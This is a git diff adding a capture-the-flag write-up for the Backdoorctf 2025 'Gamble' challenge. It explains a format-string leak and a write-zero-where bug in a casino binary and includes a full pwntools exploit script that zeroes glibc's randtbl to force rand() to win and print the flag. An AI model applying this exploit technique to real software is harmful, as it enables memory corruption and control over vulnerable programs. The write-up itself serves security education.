|
| 1 | +--- |
| 2 | +title: Backdoorctf 2025 | Gamble |
| 3 | +published: 2025-12-18 |
| 4 | +description: My friends and I planned a trip to Gokarna and heard about a famous casino with a machine that almost never lets anyone win, only the truly lucky. I’ve replicated it. Let’s see if you are one of them! |
| 5 | +image: '' |
| 6 | +tags: ["rev"] |
| 7 | +authors: ["ebreo"] |
| 8 | +solves: 44 |
| 9 | +points: 100 |
| 10 | +firstblood: false |
| 11 | +category: Backdoorctf2025 |
| 12 | +draft: false |
| 13 | + |
| 14 | +--- |
| 15 | + |
| 16 | +# Introduction |
| 17 | + |
| 18 | +We are given an executable and some docker files. |
| 19 | + |
| 20 | + |
| 21 | + |
| 22 | +Let's open the executable in ghidra. |
| 23 | + |
| 24 | + |
| 25 | + |
| 26 | +The program initializes srand with seed **time(0)**. We can login, place a bet, and finally gamble. In gamble, we get five chances to have rand() return a small enough number. In such case, the win function is called which prints the flag. |
| 27 | + |
| 28 | +Analyzing the program, there are two vulnerabilities: |
| 29 | +1. A logic error in the loop of **bet()** allows to overflow **buf** to reach **local_98** and achieve a format string vulnerability with the printf |
| 30 | + |
| 31 | + |
| 32 | +2. In **gamble()** after losing, instead of setting the user money to 0, money is treated as a pointer and 8 bytes at the pointed location are set to 0. This achieves a **write 0 where** vulnerability. |
| 33 | + |
| 34 | +The user money is a variable whose size happens to be 8 bytes, and we can set it during the login. |
| 35 | + |
| 36 | + |
| 37 | + |
| 38 | +Based on these vulnerabilities, we can obtain a libc leak using the format string and overwrite libc **randtbl** entries with 0. Since glibc’s **rand()** is a stateful PRNG that updates and mixes values stored in randtbl, forcing the table entries to zero collapses the internal state causing the generated values to be zero with higher probability.This technique was inspired by this [**writeup**](https://lkmidas.github.io/posts/20200319-angstromctf2020-writeups/), which also explains glibc **rand()** internals in more detail for interested readers. |
| 39 | + |
| 40 | +Installing gdb on the Docker we can look at the stack layout when the format string is triggered, finding that "$33%p" leaks **__libc_start_main+122**, and that **randtbl** resides at __libc_start_main + 0x1d8ed0. |
| 41 | + |
| 42 | +Steps of the exploit: |
| 43 | +- login with user id 0 |
| 44 | +- place bet to leak libc |
| 45 | +- calculate randtbl address |
| 46 | +- for **i** in range(1,9): |
| 47 | + - login with user id **i**, give **randbtl + i\*8** as money amount |
| 48 | + - place bet |
| 49 | + - gamble |
| 50 | + - If lucky, flag is printed |
| 51 | + - Otherwise, **randbtl + i\*8** is set to 0 |
| 52 | + |
| 53 | +Exploit: |
| 54 | +```python |
| 55 | +from pwn import * |
| 56 | +from tqdm import trange |
| 57 | + |
| 58 | +host = 'remote.infoseciitr.in' |
| 59 | +port = 8004 |
| 60 | + |
| 61 | +elf = ELF("./chal") |
| 62 | + |
| 63 | +context.binary = elf |
| 64 | +context.terminal = ['konsole', '-e'] |
| 65 | +context.log_level = logging.WARN |
| 66 | + |
| 67 | +gdbscript = ''' |
| 68 | +set follow-fork-mode parent |
| 69 | +# fmtstr vuln |
| 70 | +#break *bet+0x21e |
| 71 | +
|
| 72 | +break *rand |
| 73 | +
|
| 74 | +#break *gamble+0x138 |
| 75 | +break *gamble+0x15c |
| 76 | +continue |
| 77 | +''' |
| 78 | + |
| 79 | +#args.GDB = True |
| 80 | +def connection(): |
| 81 | + if args.LOCAL: |
| 82 | + c = process([elf.path]) |
| 83 | + elif args.GDB: |
| 84 | + c = gdb.debug([elf.path], gdbscript=gdbscript) |
| 85 | + else: |
| 86 | + c = remote(host, port) |
| 87 | + return c |
| 88 | + |
| 89 | +stuff_to_leak = [(33,"__libc_start_call_main", 122), (23, "_rtld_global", 0), (19, "_IO_2_1_stdin_", 0)] |
| 90 | +stuff_to_leak = [(33,"__libc_start_call_main", 122)] #only need one if we don't trust libc db :) |
| 91 | + |
| 92 | +assert(len(stuff_to_leak) < 10) |
| 93 | + |
| 94 | +def main(): |
| 95 | + |
| 96 | + c = connection() |
| 97 | + user_idx = -1 |
| 98 | + leaks_list = {} |
| 99 | + for index, name , offset in stuff_to_leak: |
| 100 | + |
| 101 | + user_idx += 1 |
| 102 | + # login |
| 103 | + c.sendlineafter(b'> ', b'1') |
| 104 | + c.sendlineafter(b'(0-9): ', f"{user_idx}".encode()) |
| 105 | + c.sendlineafter(b'name: ', f'name{user_idx}'.encode()) |
| 106 | + c.sendlineafter(b'want: ', b'0') |
| 107 | + |
| 108 | + # leak libc |
| 109 | + payload = b'Z' * 10 + f'%{index}$p#'.encode() |
| 110 | + payload += b' '*(16 - len(payload)) |
| 111 | + assert len(payload) == 16 |
| 112 | + |
| 113 | + c.sendlineafter(b'> ', b'2') |
| 114 | + c.sendlineafter(b'bet: ', f'{user_idx}'.encode()) |
| 115 | + c.sendafter(b'Currency): ', payload) |
| 116 | + cur_leak = int(c.recvuntil(b'#', drop=True).decode(),16) |
| 117 | + print(index, hex(cur_leak), name) |
| 118 | + leaks_list[name] = cur_leak - offset |
| 119 | + #c.interactive() |
| 120 | + |
| 121 | + print(leaks_list) |
| 122 | + |
| 123 | + #libc_path = libcdb.search_by_symbol_offsets(symbols=leaks_list) |
| 124 | + #libc = ELF(libc_path) |
| 125 | + #print(hex(libc.symbols.randtbl)) |
| 126 | + #libc.address = int(leaks_list["__libc_start_call_main"],16) - libc.symbols.__libc_start_call_main |
| 127 | + #libc.save('./libc.so') |
| 128 | + |
| 129 | + #randtbl = int(leaks_list["__libc_start_call_main"],16) + 0x1d8ed0 |
| 130 | + randtbl = leaks_list["__libc_start_call_main"] + 0x1d8ed0 |
| 131 | + |
| 132 | + print("randtbl = ", hex(randtbl)) |
| 133 | + |
| 134 | + randtbl_idx = -1 |
| 135 | + for i in trange(10-user_idx): |
| 136 | + user_idx+=1 |
| 137 | + randtbl_idx += 1 |
| 138 | + |
| 139 | + # login 1 |
| 140 | + c.sendlineafter(b'> ', b'1') |
| 141 | + c.sendlineafter(b'(0-9): ', f'{user_idx}'.encode()) |
| 142 | + c.sendlineafter(b'name: ', b'baitdecuchis') |
| 143 | + #c.sendlineafter(b'want: ', str((libc.symbols.unsafe_state + context.bytes * 3) // context.bytes).encode()) |
| 144 | + c.sendlineafter(b'want: ', str((randtbl + 8*randtbl_idx) >> 3).encode()) #need to divide by 8 |
| 145 | + |
| 146 | + #bet |
| 147 | + c.sendlineafter(b'> ', b'2') |
| 148 | + c.sendlineafter(b'bet: ', f'{user_idx}'.encode()) |
| 149 | + c.sendlineafter(b'Currency): ', b'a') |
| 150 | + |
| 151 | + # gamble |
| 152 | + c.sendlineafter(b'> ', b'3') |
| 153 | + c.sendlineafter(b'gamble: ', f'{user_idx}'.encode()) |
| 154 | + c.recvuntil(b"Press ENTER to gamble...") |
| 155 | + |
| 156 | + for _ in range(5): |
| 157 | + c.sendline(b'') |
| 158 | + |
| 159 | + rcvd = c.recvlines(2) |
| 160 | + if b"Congratulations! You guessed it right!" in rcvd: |
| 161 | + print("got lucky") |
| 162 | + c.interactive() |
| 163 | + exit() |
| 164 | + |
| 165 | + print("got unlucky") |
| 166 | + |
| 167 | +if __name__ == '__main__': |
| 168 | + main() |
| 169 | +``` |
| 170 | + |
| 171 | +The loop at the beginning initially leaked multiple libc values in order to use pwntools **libcdb.search_by_symbol_offsets** to have the offsets calculated automatically. This did not work and we ended up doing the math with hardcoded offsets like the good old times :thumbsup:. |
| 172 | + |
| 173 | +Exploit skeleton provided by Antonio aka [simplesso](https://github.com/s1mpl3ss0). |
| 174 | + |
| 175 | +flag: `flag{r4nd_1s_n0t_truly_r4nd0m_l0l!_57}` |
0 commit comments